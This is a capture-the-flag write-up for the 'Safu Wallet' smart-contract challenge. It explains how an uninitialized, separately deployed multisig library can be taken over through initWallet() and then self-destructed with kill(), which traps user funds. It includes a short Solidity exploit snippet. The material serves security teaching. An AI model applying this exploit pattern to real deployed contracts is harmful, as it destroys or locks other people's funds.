This is the #5 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.
A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real-world exploits.
Created by @0xToshii
I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry

Safu Wallet
After Safu Labs’ SafuVault product was exploited, they decided to start fresh and venture into the secure web3 tooling space — what could go wrong.
They’ve launched their first product: a multi-sig wallet, and have already onboarded a user.
Your task is to grief that user by trapping their funds inside the wallet.
Review of the contracts
ISafuWalletLibrary.sol
I have nothing to say about an interface.
SafuWallet.sol
The first thing that warned me is that _safuWalletLibrary is a constant address. Normally, a library is directly imported into the contract.
SafuWalletLibrary.sol
Now we know _safuWalletLibrary is another deployed contract. Maybe we will see something interesting inside this contract:
kill(): we can destruct the contract if we can bypass the modifieronlymanyowners().onlymanyowners(): The modifier callsconfirmAndCheck(), so we will look into it.confirmAndCheck(): There are a bunch of conditions, if we are able to setm_ownerIndex[uint(msg.sender)] = 1then we can destruct the library.- We can set
m_ownerIndex[uint(msg.sender)] = 1insideinitMultiowned(). This function is called insideinitWallet(), but this one is only callable one time due to the modifieronly_uninitialized.
I already know how to bypass the modifier only_uninitialized so let’s go to the next part.
Exploit the vulnerability
This challenge was very easy. The library is a deployed contract, so if we are able to destruct the contract, we pass the challenge.
And wow! What a surprise, when we go to the test file it seems that the function initWallet() is never called. It means that I’m able to call initWallet (we pass the modifier only_uninitialized). After that call, we have now m_ownerIndex[uint(msg.sender)] = 1. Now we can destruct the contract.
//We are in a situation where safuWalletLibrary is deployed but not initialized and so all the variable are at 0
// After the deployment of safuWallet, we might think that the variable inside safuWalletLibrary are updated
// However, during a delegate call, the caller storage is updated not the callee
// (In this challenge, we have a storage collision but not useful)
// And so the variables inside safuWalletLibrary are still at 0
// We are able to kill safuWalletLibrary ->safuWallet is unable to do a delegate call for this address
//Call initWallet() in order to get the ownership
addresses = new address[](1);
addresses[0] = attacker;
data = abi.encodeWithSignature("initWallet(address[],uint256,uint256)", addresses, 1, type(uint).max);
address(safuWalletLibrary).call(data);
//call kill() in order to destruct the contract
data = abi.encodeWithSignature("kill(address)", address(attacker));
address(safuWalletLibrary).call(data);
You can check my test file here.
Acknowledgement
Thank you https://stermi.xyz/ for inspiring me to write articles on CTF ^^.